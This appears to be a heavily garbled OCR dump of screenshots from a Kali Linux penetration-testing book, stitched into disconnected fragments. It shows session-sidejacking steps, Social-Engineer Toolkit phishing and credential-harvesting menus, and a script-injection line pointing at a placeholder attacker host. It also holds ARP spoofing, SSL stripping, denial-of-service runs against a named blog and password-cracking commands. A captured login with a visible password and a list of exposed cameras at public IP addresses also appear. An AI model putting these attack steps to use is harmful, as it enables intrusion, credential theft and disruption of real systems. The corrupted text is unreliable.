3650 Brookside Parkway, Brookside Concourse 100, Suite 400, 770-225-6500
Alpharetta. GA 30022
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@ 12700112

172.16.76.131

[cookies]
« httpuhn

Kot Uiyl

-

HAMSTER 2.0 SideJacking
[ adapters | help )

STEPS:In order to sidejack web ssssions, follow these steps.
FIRST, click on the adapter menu and start sniffing. SECOND,
wait a few seconds and make sure packets are being received.
‘THIRD, wait until targets appear. FOURTH, click on that target
to "clone” it's session. FIFTH, purge the cookies from your
browser just to make sure none of them conflict with the cloned
targets. again
TIPS: remember to rsfresh this page occasoinally to see
updates, and make sure to purgs all cookies from the browser
WHEN SWITCHING target. rember to close all windows in your
browser and purge all cookies first

Status

Proxy: unknown
Adapters: none

Packets: 0

Database: 315

Targets: 1

« [7216.76.03
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root@kali:/usr/share# cp backup.set/config/set_config set/config/set_config
root@kali:/usr/share# se-toolkit

IMPORTANT NOTICE! The Social-Engineer Toolkit has made some significant
changes due to the folder structure of Kali and FSH (Linux).

ALL SET dynamic information will now be saved in the ~/.set directory not
in src/progran_junk.

1] Please note that you should use se-toolkit from now on.
1] Launching set by typing 'set' is going away soon

1] If on Kali Linux, just type 'se-toolkit' anywhere.
1] If not on Kali, run python setup.py install and you can use se-toolkit anywhere.

[
[
[
[

Press {return} to continue into SET.J}
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Version: 2.4

Usage: dsniff [-cdan [-1 interface | -5 peapfite] [-s snoplen]
(¥ Sarsices) (-t trigort. 11 L] saveriie]
{axracsiont

contakattit
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KALI LINUX

Configure the network ‘

Please enter the hostname for this system. |

The hostname is a single word that identifies your system to the network. If you don't know what your
hostname should be, consult your network administrator. If you are setting up your own home network,
you can make something up here.

Hostname.

|
(= \l
|

Screenshot GoBack || Ccontinue
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i 5 feemation & Eror
(5126 Apr 2013 3:32.41 AMEOT] A comment it the sting g was found e thsecurtybogger <o, T ol b
ieresing T nformaton wos found i th reqest it 4 1

[F 26 Apr 2013 03:32:41 AM EDT] A comment with thesting “puta” was found i “htp/ww hesecurityblogger com”, This coud be nteresting
This information was found in the request with d 1.

[ 26 Apr 2013 03:32:41 AM EDT] A comment with the sting "email was found in: "htp:www thesecuityblogge com This could be ineresting
This information was found in the fequest with d 1

(1 26 Apr 2013 03:32:41 AM EDT] A comment with th sting “security” was found in: “htpNww hesecurityblogger com”. This could be
interesting, This information was found i the request with d 1

(Fr 26 Apr 2013 03:32:41 AM EDT] A comment with the sting *captcha” was found in: “Hip:ww thesecurityblogger com”, T could be
interesting, This information was found i the request withd 1.

{F1 26 Apr 2013 03:32:41 AM EDT] The ui paraimeter of xUrib.POST() must be of uParserui_object type.

(F1 26 Apr 2013 03:32:41 AM EDT) The u parameter of xUrlib POST() must be of urParseru_object ype.

(126 Apr 2013 03:32:41 AM EDT] WeBDIT lugin: 0u have to configue thelocal and remote directory o compare.

|Qusearch

Wins:
nfo.
Debug- c}

o, 107 214 320 427 535 642 749 856 062
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rootigkali:/Nessusl# cp -Rf /Nessusl/opt/nessus/ /opt/
root@kali:z/Nessusl# cp -Rf /Nessusl/ete/init.d/nessus® \/etc/init.d
rootakali:/Nessusl# /etc/init.d/nessusd start

$Starting Nessus :

root@kali:/Nessusl#






OEBPS/Image00271.jpg
17236761 00s0-
17216762 o0sor
121670128 003
1721675 254 0050

Ouiete Host

| Aseriet | sawragnz






OEBPS/Image00393.jpg
( )ruyere Sign up

Sign up for a new account.

/ Username:

Password:

WARNING: Gruyere is not secure.
Do not use a password that you use for any real service.
Do not upload any personal or private data.

Create account

Signin | Sign up
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[ Target [ ey | spider | Scanner [ intruder | Repeater | Sequencer | Decoder | comparer | gptions [ Alerts

e | istory | options

Recuest to bt chchaos com60 50.87.145.132)
| foward | [ orop | [isterceptison | | Acion

Params | Haaders | Hex

GET / HTTP/L.1
Host: vaww.drchaos.com

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1
Accept: text/html,application/xhtmi+xml.application/xm:q=
Accept-Language: en-US.eniq=0.5

Accept-Encoding: gzip, deflate

Cookie: __qca=P0-B86080433-1368803092505; _atuve=3%7C20
Connection: keep-alive
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Comms | Request Stats | Variable Stats | Config | Plugins
X
Plugin selection: | XSS & SS attacks &

 lenablel
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o s
KB Browser |URLS.

R [The remote web server sent the WTTP header: “Lnk” with valus: </

‘ . WP me/iUwo>. rel=shorin. T Infornation was found In the request with 6 1
= ey )

InterestingComments (9)
© HTML comment with “user” inside:

© HTML comment with “pass* inside.

© HTML coment with “x* inside

© HTML comrent with ‘hack” nside

O Tl o e i FOST cp e esecur i logaer con WTP/1.1
Host: . thesecurityblogger . con

© HTML coment with ‘puta” inside Content-Type: application;x-ww-fors-urlencoded
© HTUL comment with “email inside: Accept-Encoding: 6z1p

Bl Accept: +/+
O HTM conment ¥ih ey irsice User-Agent: Mozilla/4.0 (conpatible; MSIE 8.
© HTML comment with "captcha* nside

: Windows WT 6.

Trident/s.0; waaf. st net)
i {3 2SUFF 22U U A2SUFFACA2SUFFAS =GB XbKG=3YeRBTe 1
= srangevesders )

strangeeaders

clickjacking

clickjacking
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essus

Welcome to Nessus” 5

‘Thank you for installing Nessus, the world leader in vulnerability scanners. Nessus will allow you to perform:

« High-speed vulnerability discovery, to determine which hosts are running which services

« Agentless auditing, to make sure no host on your network is missing security patches

- Compliance checks, to verify and prove that every host on your network adheres to the security policy you
defined

« Scan scheduling, to automatically run scans at the frequency you select

« And more!

During the next steps, we are going to create an administrative account and register your scanner with a Plugin Feed,
which we will download. You will need an Activation Code before you can se Nessus; If you do not have an Activation
Code already, please go to htip:/Awwnessus.org/register! (o get one now.

pEorm— ik o switen toworks
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Cmﬂv\'\s“ Request Stats | Variable Stats ‘ Config [ Plugins ‘ mg} Repeat Request | Crawler

Stopped

1 Crawl using plugins

Urt: [nttpi//wwew thesecurityblogger.com

[ 0%

| Not Running

‘ Reset

Uniq Froms





OEBPS/Image00391.jpg
Live HTTP headers

TP eaders
User-Agent: Mozila/3.0 (Macicosh; kel Mac 05 X 10,8; +20.0) Gecko 20100101 irfox/20.0
Accept
Accept-Language: en-US,enq-0.5
Accepr-Encoding: oz, deite
Content-ype 3p91caton x-w-form-Uriencoaed; rarset-uis-5
Hash: MaTRMD3WMIVZZBhY mU3ZATDINCY L DgyAEWGGswo3Cr3 300Gl WS BWA30rQERHWEICSMOKWTVCHMKWoHCYEKZWS
X-Requested-Wieh: XMUHoRequest
Referer:htos:/newmyspace com/signin
Content-Length 80
Cookie: MSCulure -1
Connection: keep-aive
Pragma: no-cache
Cache-Conteal no-cache
emall-joeyruniatpassword =happyiovoyipageld=alc3a0eT-3102-4951-6322-1a5268 a6

66.33.192.12641PCulture - en-USPreferredCulture en-US&PreferredCulturepending -&County - WM - 8Forcede.

(AL GR USERAAVE

FR—

Forgotpasswod? () Stay sgnedin

Don'thave a New Myspace aceount? Create one now. ign in
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LINKSYS® T

Aoionl s .

Wireless-N Interniot Home Monitoring Camera Home | ViewVideo | Sewp | LinksysWeb | Help | Exit

P

iron.org 9062653322,

© Copyright 2009 Cisco Systems, ic. Al fighs reserve.
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KALI LINUX

install the GRUB boot loader on a hard disk

It seems that this new installation is the only operating system on this computer. If so, it should be safe
to install the GRUB boot loader to the master boot record of your first hard drive.

Warning: I the installer failed to detect another operating system that is present on your computer,
modifying the master bost record will make that operating system temporarily unbootable, though GRUB
an be manually configured later to boot it,
Install the GRUB boot loader to the master boot record?

No

o Yes

L3
Screenshot Go Back Continue
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dc3dd 7.1.614 started at 2013-67-66 17:32:32 -0460

compiled options:

command line: dc3dd if=/dev/sda2 of=/root/CopyofDrivedc3dd_version hash=sha2s6
device size: 2 sectors (probed)

sector size: 512 bytes (probed)

1024 bytes (1 K) copied (100%), 0.1015% s, 9.8 K/s

input results for device ‘/dev/sda2’:
2 sectors in

0 bad sectors replaced by zeros
€286355¢09505425¢793774c adbe95e5de98abb7adc d0ada24e67473d480ebb (sha256)

output results for file */root/CopyofDrivedc3dd_version':
2 sectors out

dc3dd completed at 2013-07-66 17: 2 -0400
rootgkalis=# shazsési;; ﬁép\%‘r]vehagbd [oriah] fg

¢286355¢09505425¢ 793774c adbedSe5dea8abbIaAcd0a0a24eh £7473¢050e6b CopyofDrivedc
dd_version

root@kaliz~# sha256sum /dev/sda2

c286355¢09505425¢793774cadbe9SeSde98abb7adcddada24e6f7473d490e6b /dev/sd
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Name:
Content:
Host:
Path;
Send For:

Http Only:

Expires:

o~

]

Edit Cookie+

wp-settings-1

editor%3 Dtinymce? 26m0%3 Dc% 26m11%3 Do% 26m6%3 Do 26imgsize

www.thesecurityblogger.com

/

Any type of connection

No [o|

| date

[ May 10, 20147” 21:01:40 ]

(2] # [o1]  [ao]

EE EE @E

| May

Save H Close |
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ProxyStrike v2.1
Help

Comms | Reguest tats | Varihe Stats | Coni | lugins Log | Repes Requst | Crawler
| menod Target
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User-Agent: Mozila/5.0 (Macntost; Intel Mac O X 10.8; 1v:20.0) Gecko/20100101 Firefox/25.0
Comection: cloze.
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—_qa=P0-2019225104-1366923733115;

Accogt. ettt sppationanim i spplaton/nt =09, i






OEBPS/Image00389.jpg
KALI LINUX

Configure the package manager

A network mirror can be used to supplement the software that i
make newer versions of software available.

included on the CD-ROM. This may also

Use a network mirror?.
No

o Ves

x

Screenshot GoBack || Continue
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The Open Web Application Security Project (OWASP) is
aworldwide free and open community focused on
improving the security of application software. OWASP
searched for and published the ten most common
security flaws. This profile search for this top 10
security flaws. For more information about the security
flaws: http://www.owasp.orgfindex.php/
OWASP_Top_Ten_Project
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The social-engineer Toolkit (SET,
Created by: David umnq (ReL1K
Version: 5.0.1i
Codename: 'The vﬂd west '
nl}w us on Twitter: @trustedsec
Follow me on Twitter: @dave_relik
-—- Homepage: https://www.trustedsec.com -

welcome to the Social-Engineer Toolkit (SET). The one
stop shop for all of your social-engineering needs.

Join us on irc.freenode.net in channel #setoolkit
The social-engineer Toolkit is a product of Trustedsec.
visit: https://www.trustedsec. com
Select from the menu:

spear-phishing attack vectors
website Att vectors
infectious Media Generator
Create a Payload and Listener
Mass Mailer’ Attack
Arduino-Based Attack vector
SMS ing Attack vector
wireless Access Point Attack vector
QrCode Generator Attack vector
Powershell Attack vectors
Third Party Modules

99) Return back to the main menu.
set> 2

=
:ooouowbwuc
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web infrastructure

Plugin__ Active
* output @

Mangle plugins modify requests on the fly.
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10) Powershell Attack vectors
11) Third Party wodules

99) meturn back to the main meny,
281> 2

The web atcack module fs a unique way of utilizing multiple web-based atcacks
in order to compromise the intended victin.

The Java Applet Attack method will spoof a Java Certificate and deliver a
| metasploit based payload. Uses a customized java applet created by Thomas
| werth to deliver the payload.

| metasploft Browser EXplOTT 1 111 Lol ol G
browser exploits through an {frame and deliver a Metasploit payload.

The credential Harvester method will utilize web cloning of 2 web-
site that has a username and password field and harvest all the
information posted to the website.

The Tabsabbing method will wait for & user to move to a ¢ifferent
| tab, then refresh the page to something different.

- Man Left in the Middle Attack ©il i i Lo o
utilizes WTTP REFERER'S in order Lo intercept fields and harvest
data from them. You need To have an already winerable site and in
corporate <script sres"http://YOURTP/>. This could either be from a
compromised site or through XSs.

The web-dacking Attack method was introduced by white_sheep, Emgent
and the Back|Track team. This method ucilizes Iframe replacements to
| make the highlighted Usi 1ink o appear legitinate hovever when <1icked
| 2 window pops up then is replaced with the malicious 1irk. You can edit
| the link replacement settings in the set_config 1f 1ts 00 slow/fast

The Wilti-Attack method will 2dd 3 cambination of attacks chrough che web attack
ménu. For example you can utilize the Java Applet, Metasploft Srowser,
Credentia] Rarvester/Tabnabbing, and the Man Left in the Middle attack

| 311 at once to see which 15 successful

1) Java Agplet Attack Method
2) Metasploit browser Exploit Method

3) Credential warvester Attack Method

) Tabnabbing Attack method

59 web Jacking Attack method

6] Multi-Attack web Method

7) create or import a codesigning Certificare

99) Return to Main Meny
361 usbattack>1
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Par

ion disks

If you continue, the changes listed below will be written to the disks. Otherwise, you will be able to make
further changes manually.

WARNING: This will destroy all data on any partitions you have removed as well as on the partitions that
are going to be formatted.

The partition tables of the following devices are changed:
5CS13(0,0,0) (sda)

‘The following partitions are going to be formatted:
partition #1 of SCSI3 (0,0,0) (sda) as extd
partition #5 of SCSI3 (0,0,0) (sda) as swap

Write the changes to disks?

o Yes

Screenshot Continue
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ccc coocc:. . .
e low bandwidth, yet greedy and po:sonous HTT

Welcome to Slowloris -
Defaulting to port 83.
Defaulting to a 5 second tcp connection timeout.
Defaulting to a 100 second re-try timeout.
Defaulting to 100 connections.
Multithreading enabled.
Connecting to thesecrityblogger.com:80 every 100 seconds with 1080 sockets:
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets
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Linksys Wireless-G Internet Video Camera
92.71.246.81:1027/main.cgi?next_file=index.htm ~

Linksys. Ver 2.12, Home | View Video | Setup | Linksys WEB | Help | Exit

Linksys Wireless-G PTZ Internet Camera with Audio
mam-camera dnsalies. nemain.cgi?next_file=index.htm -

WVC200, Wireless-G PTZ Internet Camera with Audio, Home| View Video Setup|
Linksys Web] Exit. Connected User Number: 0. © Copyright 2007 Cisco

Linksys Web Camera
177.142.48.3:1028/main.cgi?next_fle=index.htm -

Linksys, Ver .13, Home | View Video | Setup | Linksys WEB | Help | Extt

Linksys Internet Gamera
91.196.11. 12/main.cgiZnex._file=y_videohim ~
LINKSYS PVG2300.

Linksys Wireless-G Internet Video Camera
72.250.149.128:1024/main.cgi Pnexi_flle=index.htm ~

Linksys. Ver 211, Home | View Video | Setup | Linksys WEB | Help | Exit
Youve visted this page 4 imes Last viit 319113

Linksys Wireless-G PTZ Internet Camera with Audio
213.67.110.104:1024/main.cginext_fle=main.htm -

WVC200. Linksys Wireless-G PTZ Internet Camera with Audio. Home, |, View Video,
1, Setup, |, Linksys Web, |, Exit.Image Resolution, 640x480, 320x240, 160x .

Linksys Wireless-G PTZ Internet Camera with Audio
66.11.106.28:8181/main.cgi?next_file=main.im ~

WVC200. Wireless-G PTZ Internet Camera with Audio, Homel View Video| Setup]
Linksys Web] Exit Image Resoluton. 640°480, 320°240, 160"128. Northwest...

Youve visited this page 3 times. Lastvisit: 3/19/13
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Live HTTP Headers o0.17

by Daniel Savard, Nikolas Coukouma

View HTTP headers of a page and while browsing.

Download Now

Firefox 0.8 - 17. - View other versions.
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> use network/webkiller
bKiller > set TARGET http://waw|thasecurityblogder.dom

TARGET http://www. theseclirityblogger-com

sf:WebKiller > RUN
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‘compromised site or through XSS,

The Web-Jacking Attack method vas introduced by white sheep, Engent
and the Back|Track tean. This nethod utilizes iframe replacenents to
nake the highligited URL Link to appear legitimate however when clicked
a window pops up then 15 replaced with the malicious Link. You can edit
the Link replacesent settings in the set config if its too slow/fast.

The Multi-Attack nethod will add a combination of attacks through the web attack
menu. For example you can utilize the Java Applet, Metasploit Browser,
Credential Harvester/Tabnabbing, and the Man Left in the Middle attack

all at once to see which is successful.

1) Java Applet Attack Hethod
2) Hetasploit 3rouser Exploit Method

3) Credential darvester Attack Method

4) Tabnabbing Attack Hethod

5) Web Jacking Attack Method

6) Hulti-Attack Web Method

7) Create or isport a Codesigning Certificate

99) Return o Hain Menu

i
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/wp-content /plugins/1-Lasivgallery §s,shelper.js
154 AN: /wp-content/plugins 1-flash-galLery/js/galLery/phot
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e rr—

Loading request int lease wait...
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Mirror launched on Wed, 15 May 2013 04:28:09 b HTTrack Webslte Copler/B 45011bh
tsjava.so.2 [XR&C0'2010] r‘ \( | ]\
nirroring e, thesecurityblogger.con with the mzi»d et u LLLLN

880: ww.(hesecurityblogger.cnm/?tag:sdvanced-perslstent-threat (mllae by(es
.thesecurityblogger.com/wp-content/uploads/2013/01/LadyWall.jpeg (39575 byt
_thesecurityblogger.com/wp-content/uploads/2612/67/ddos-at tack .jpeg (0 byte
_thesecurityblogger.com/wp-content/uploads/2613/61/PhishingEmail . jpeg (1624
_thesecurityblogger.com/wp-content/uploads/2813/61/emily2_new.png (294866 b
.thesecurityblogger.com/wp-content/uploads/2012/67/ddos . jpeg (31869 bytes)
.thesecurityblogger.com/wp-content/uploads/2013/02/img02086ce.jpeg (218988 b
.thesecurityblogger.com/wp-content/uploads/2012/07/Sc reen-Shot -2012-07-20-a

.thesecurityblogger.com/wp-content/uploads/2011/08/1197270079_viagral80x249my
.thesecurityblogger.com/wp-content/uploads/2011/08/spanitl.jpg (128249 bytes)
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samdump2 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it

Usage:
samdump2 samhive keyfile
root@kali:~# I
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meterpreter > ipconfig

VMware Accelerated AMD PCNet Adapter
Hardware MAC: 3

IP Addre: 1

Netmask 55.255.255.0
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:webattack>3

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

10 [LONIWE

1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu
<= it
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et
©OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing | o/x
Fie options About_Help

Target URL (eg http://examplz.com:80/)
[Pttp:pwww.thesecurityblogger.com ]

Work Method ©) Use BET requests only () Auto Switch (HEAD and GET)

Number Of Threads  e————————————() 100Thre... [Go Faster

Select scanning type: ) Ust based brute force () Pure Brute Force.
File with lst of dirsfies

lirootiDesktopiwordist.ist | [ Browse]

%30

har set. | Mir length, [1 ] MaxLenath |

Select starting options;  (© Standard start point () URL Fuz
¥ Brute Force Dirs 78 Recursive Dir to start with [/

[¥]Brute Force Files []Use Blank Extension  File extension [php

URLta fuz htmPurt=(dir).asp

Please complete the test details
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root@kali:~¥ tail -n S€ -f ssistrip.
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msf > db nmap -n -A 172.16.189.131





OEBPS/Image00363.jpg





OEBPS/Image00234.jpg
b 2 dod

Crunch can cruate a vordlist based on criterta you specify. The cutout fron eru
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rootigkali:~# ifdown eth@
Internet Systems Consortium DHCP Client 4.2.2
Copyright 2604-2011 Internet Systems Consortium.

ALL rights reserved.
For info, please visit https://www.isc.org/software/dhcp/

Listening on LPF/eth0/00:0c:29:49:84:73
Sending on  LPF/etho/00:0c:29:49:84:73
Sending on  Socket/fallback

DHCPRELEASE on eth0 to 172.16.76.254 port 67
Reloading /etc/samba/smb.conf: smbd only.
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Hydra is a tool to guess/crack valid login/password pairs - usage only allowed
for legal purooses. Newest version avalable at http://www.thc.org/thc-hydra
The following services were not compiled in: sapr3 oracle.

Examples:

hydra -1 jown -p doe 192 {16891\ ft]
hydra -L user.txt -p defdu 162 168,61 inap
hydra -1 adnin -P pass.txt httgiproxy://192-168.6'1

hydra -C defaults.txt -6 pop3s://[feB0::2c:31ff:fel2:acll]:143/CIGEST-MDS
root@kali:~#
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root@kali:~# sslstrip —1 10000

sslstrip 0.9 by Moxie Marlinspike running...
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[ 7S
Hash il or hash: D:jtoolsfhasheat-gur0.5.0jockashcat-phusfexammpleS0.hash [Copen. |
[¥] Remove hash from hash lst once it is cracked [ 1gnore username in hashfile
iord lsts

Ditools\hashat-gui-0.5.0\aclHashcat-plus\ example.dict

Addfies.

(e

Remave

Mode: [Straight Hash type: (1DS -

Rules [7] Assume charset is given in hex
© Use rules files: [ Assume salt is given in hex
] Rules ;. -plusjulesjbests#.rue [ Open Mask
[ Rles file Open,
[ Ruls e pen Custom charsets
) Generate res: |1 Charset 1
Charser 2
Passward length
Charset 3
Length 1 - s B s
Resources output
U iy
GPU devices: o , 1
[k acovered hashes o ler
U vorksad tuning: 8 =
ot psferangles s o
Uloops: 26 B
Format; [hash{isak e
GPUwatchdog: 50 B
Seqment size 2w B

Start | ocHashcat-pluss.exe -rremove ~rules-fle D:ftoolsjhashcat-gui-0.5.0/ockHashest-plusfrulsjbestt
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[root@kall:~/Desktop# 1s
A0S6PC FW_WRTS4GS.2 8.2.08.001 US 26091065 bin loic
root@kali:~/Desktop# binwalk FW WRT54Gy8.2 8.2.08.001_US 20091605.binf
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Lancope soumons propucTeA sacEs  resocs PATS  Coupy  reanc

A Key Component of the
Cisco® Cyber Threat Defense Solution

> Detect Reconnaissance Activity
» Find Data Loss / Exftration

» Discover Intemally Spreading Malware
> Identify Botnet and C&C Activity

9 e
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root@kali: /usr/share/beef-xss

root@kal i:/usr/share/beef-xss# pwd
Jusr/share/beef -xss
root@kali:/usr/share/beef-xss# ./beef
( Bind socket [imapeudoral] listening on [0.0.0.9:2006) .
Browser Exploitation Framework (BeEF) ©.4.4.5-alpha
| Twit: @beefproject
| site: http://beefproject.com
| Blog: http://blog.beafproject.con
|_ WiKi: https://github.com/beefproject/beef/wiki
Project Creator: (@WadeALcorn)
BeEF is loading. Wait a few seconds
16 extensions enabled
171 modules enabled.
2 network interfaces were detected.
running on network interface: 127.6.6.1
| Hook URL: http://127.0.0.1:3668/hook.js
| UIURL: http://127.6.0.1:3668/ui/panel
rinning on network interface: 172.16.86.144
| Hook URL: http://172.16.86.1¢4:3000/hook .{s
|_ ULURL:  http://172:16 86 1¢4:3000/ui /paney
RESTful API Key: af26cadad]6e8d7¢0ad54a80980080a3I4808c44
HITP Proxy: http://127.0.6.1:6789
BeEF server started (press controlsc to stop)
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Facabook cwwt secmob gmailcom> Moy 24,2010 442 P
Facobook Sontman

Dear Facebook user,

In an effort to make you online experience safer and more enjoyable, Facebook will be
implementing a new login system that wil affect all Facebook users. These changes will
offer new features and increased account security.

Before you are able to use the new login system, you wil be required to update your
account.

Please click on the link below to update your account online now

www.facebook comkd

s scebook scrab et
1f you have any questions, reference out New User guide.
Thanks,

The Facebook Team

Facebook will never ask you for your password in an email or Facebook message. Learn
more about how to keep your account secure.





OEBPS/Image00251.jpg
Name Lancope
Handle LANCOP
Street 3185 Royal Drive:
Building 100
city Apharetia
State/Province A
Postal Code 30022
Country us
Registration Date 20020621
Last Updated 20110924
Comments
RESTHUI Link htpiwhols.arin netrestorglL ANCOP.
See Also Related networks,
See Also Related autonomous system numbers.
See Also Related POC records.
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OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File options About Help

hitpi/fwww.thesecurtyblogger.com: 80/cgi-bin/
@ Scan Information ' Results - ist View: Dirs: 815 Files; 827 \ Results - Tree View | A\ Errors: 30|

Tee | Found Response _ see |
o Jegibin/ 03 5052
oir Iegibin/article/ 503 541/
oir Iegibin/speciall 503 sa1
|oir Jegibin/support/ 503 sa1
oir Ieqibin/os/ 503 sa1
o Iegibinlogin/ 503 sa1
oir Jegibin/2004 503 sa1
o Ieqibin/L8/ s03 sa1
|oir Iegibinihelp! 503 sa1
i Iegibin/spl 503 sa1
oir Jegioin/profile/ 503 sa1
oir Iegibinjpolcies/ s03 sa1
oir fegi-binjmore/ 503 541
o Lbiniinfol 03 sail~)
Current speed: 134 requests/sec (Select and right click for more options)
Average speed: (T) 43, (C) 87 requestsfsec
Parse Queue Size: 0 Current number of running threads: 100
Total Requests: 2928/337606829 [ |[chenge]

Time T s 44 Doy
T |

DirBuster Stopped Jegibin/201/
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Wireshark: Capture Interfaces

Device Description 13 Packets Packets/s
¥ [#]etho 172.16.76.131
£ nflog Linux netfilter log (NFLOG) interface
any  Pseudo-device that captures on all interfaces
lo 127.0.0.1

Help Stop Options Close
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GOOC)

HACKING-DATAZASE
Welcome to the google hacking database

We call them ‘googledorks’ Inept or foolish people as revealed by Google. Whatever you call these.
fools, you've found the center of the Google Hacking Universel

Search Google Dorks
Category: MBS Free text scarch: IS €23

Latest Google Hacking Entries
Date. Title
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Welcome to skipfish. Here are some useful tips:

1) To abort the scan at any time, press Ctrl-C, A partial report will be written
to the specified location. To view a list of currently scanned URLs, you can
press <oacc at any time during the scan.

2) Watch the number requests per second shown on the main screen. If this figure
drops below 100-200, the scan will likely take a very long time.

3) The scanner does not auto-limit the scope of the scan; on complex sites, you
may need to specify locations to exclude, or Limit brute-force steps.

4) There are several new releases of the scanner every month. If you run into
trouble, check for a newer version first, let the author know next.

More info: http://code.google. com/p/skipfish/wiki/KnownIssues

NOTE: The scanner is currently configured for directory brute-force attacks,
and will make about 241544 requests per every fuzzable location. If this is
not what you wanted, stop now and consult the documentation.

Press any key to continue (or wait 60 seconds)... ]
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~ v % Terminal

File Edit View Terminal Help

The Social-Engineer Toolkit is designed purely for good and not evil. If you are
planning on using this tool for malicious purposes that are

not authorized by the company you are performing assessnents for, you are violat
ing the terns of service and license of this tooiset. By hitting

yes (only one time), you agree to the terms of service and that you will only us
e this tool for lawful purposes only

Do you agree to the terms of service [y/n]: y

[1] The social-Engineer Toolkit has officially moved to github and no longer use
s SV

[1] Ensure that you have GIT installed and this conversion tool will automatical
ly pull the latest git version for you

[11 Do you vant to do a manual install or have SET do the conversion to GIT for
you?

1. Automatic

2. manual

3. Continue using SET (NO UPDATES ANYMORE!)

Enter your numeric choice: |
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root@kal

Edit Vi rch Terminal Hi

arpspoof -t 172.16.76.128 172.16.76.2
173 0:¢:29:50:41:25 0806 42: arp reply 172.

0:c:29:50:4f:25 0806 42: arp reply 172.
0:c:29:50:47:25 0806 42: arp reply 172.
0:c:29:50:4f:25 0866 42: arp reply 172.
6:c:29:50:4f:25 0806 42: arp reply 172.

50:4:25 0806 42: arp reply 172.

erpspoof -t 172.16.76.2 172.16.76.128
173 0:50:56:¢a:85:48 0806 42: arp reply 172.16.76.128 is-at 0:c:29:4

173 0:50:56:0a:85:48 0806 42: arp reply 172.16.76.128 is-at 0:c:29:4)
173 0:50:56:a:85:48 0806.42: arp reply-172,16.76.128 is-at 0:c:29:4

173 0:50:56:a:85:48)0806, 42: Larp reply 172.16.76,128 \is-at 0:c:29:4)

173 0:50:56:ea:85:48 0806 4:

: arp reply 172.16.76.128 is-at 0:c:29:
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Boot menu

Live (and64)
Live (and64 failsafe)

Text-mode install
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root@kall:/usr/share# cd /share
root@kali:/usr/share# my set backup.set

root@kali:/usr/share# git clone https://github.com/trustedsec/social-engineer-toolkit
/ set/

(Cloning into 'set’...

renote: Counting objscts: BQMM Uﬁm@m
renote: Compressing objects: 0)

remote: Total 8976 (delta 5956), reused B870 (delta 5857)
Receiving objects: 100% (8976/8970) , 46.19 MiB | 2.58 MiB/s, done.

Resoluing deltas: 100% (5956/5956), done.
lroot@kali: /usr/shares
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rootakalii~# apt-gat irstall beef-xss
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ntact site ma)

Lancope
Keyword Search
STEALTH
P
Network Security Briex HERe
to Combat Today's
Lancope develops next-generation intrusion —
detection appliances for high-speed corporate
networks. SIGN UP
FOR THE
Lansope's Steamitcn™ s an 0S appliance it provides a now ang
unicue approach o nemork intrusion detecton. Cur advanced treat STEaL,
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dc3dd 7.1.614 started at 2013-67-66 17:32:32 -6400

compiled options:

command 1ine: dc3dd if=/dev/sda2 of=/root/CopyofDrivedc3dd_version hash=sha256
device size: 2 sectors (probed)

Sector size: 512 bytes (probed)

1624 bytes (1 K) copied (160%), 0.101596 s, 9.8 K/s

input results for device '/dev/sda2':
2 sectors in
0 bad sectors replaced by zeros
©286355c69565425¢793774c adbe95e5de98abb7adc dbaga24e67473d490e6b (sha256)

output results for file “/root/CopyofDrivede3dd_version' :
2 sectors out

dc3dd completed at (2013:07-06 17:32132+16460
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[root@kali:/usr/share# cp backup.set/config/set_config set/config/set_config
1r~mnu:/usr/smrex se-toolkit

MPORTANT NOTICE! The Social-Engineer Toolkit has made some significant
changes due to the folder structure of Kali and FSH (Linux).

|
AL SET dynamic information will now be saved in the ~/.set directory not
in src/progran_junk .

[1] Please note that you should use se-toolkit from now on.
f[n Launching set by typing 'set' is going away soon..

1] If on Kali Linux, just type 'se-toolkit' anywhere.
[1] If not on Kali, run python setup.py install and you can use se-toolkit anywhere.

1‘

Press {return} to continue into SET.I
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172.16.76.128 - - [13/May/2613:10:12:52 -8468] "GET http://www.thesecurityblogge
r.con/wp-content /plugins/captcha/css/style.css?ver=3.5.1 HTTP/1.1" - - "http://u
ww.thesecurityblogger.com/" "Mozilla/5.8 (Windows NT 5.1) AppleWebKit/537.36 (K
THL, like Gecko) Ch-ome/27.0.1453.94 Safari/537.36"
172.16.76.128 - - [13/May/201 12:52 -0400) "GET http://stats.wordpress.con/e
-201323.5s HTTP/1.1' - - “Ht¥p? % secr‘gﬁh a@r’jy\q‘nomla/s.e (Winc
1) Applewebiit/53] ?: y ki o 7.0.1453.94 ri/53
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tion.com/pagead/show ads.js HTTP/1.1" - - “http://www.thesecurityblogger.com/"
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:~/Desktop/loic# ./loic.sh install
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:~/Desktop/loic# ./loic.sh update
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Lifting the server siege... done.

Transactions: 171 hits
Availability: 100.60 %
Elapsed time: 93.22 secs

Data transferred: 5.26 MB
Response time: 7.25 secs
Transaction rate: 1.83 trans/sec
Throughput : 6.06 MB/sec
Concurrency: 13.30
Successful transactions: 171

Failed transactions: )

Longest transaction 10.16

Shortest transaction: 1.77

FILE: /var/log/siege.log [} |

You can disable this annoying message by editing
the .siegerc file in your hofiedirectory; change
the directive 'show-logfile' to false.
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oot@kali:~# hashcat /root/Desktop/shadow /root/Desktop/wordlist.lst
Tnitializing hashcat v0.44 by atom with 8 threads and 32mb segment-size...
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ot@kali:~# mkdir /mnt/windows
ot@kali:~# mount -t ntfs-3g /dev/hdbl/mnt/windows]]





OEBPS/Image00345.jpg
SIEGE 2.70

Usage: siege [options
siege [options] URL
siege -g URL

VERSION, prints the version number
HELP, prints this section.

CONFIGURATION, show the current config.
VERBOSE, prints notification to screen.

GET, pull down HTTP headers and display the
transaction. Great for application debugging.
CONCURRENT users, default is 10

-i, --internet INTERNET user simulation, hits URLs randomly.
-b, --benchmark BENCHMARK: no delays between requests.
-t, --time=NUMm TIMED testing where "m" is modifier S, M, or H

ex: --time=1H, one hour test.
REPS, number of times to run the test.
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Scan Alert Summary

® Medium

Local Filesystem Paths Found
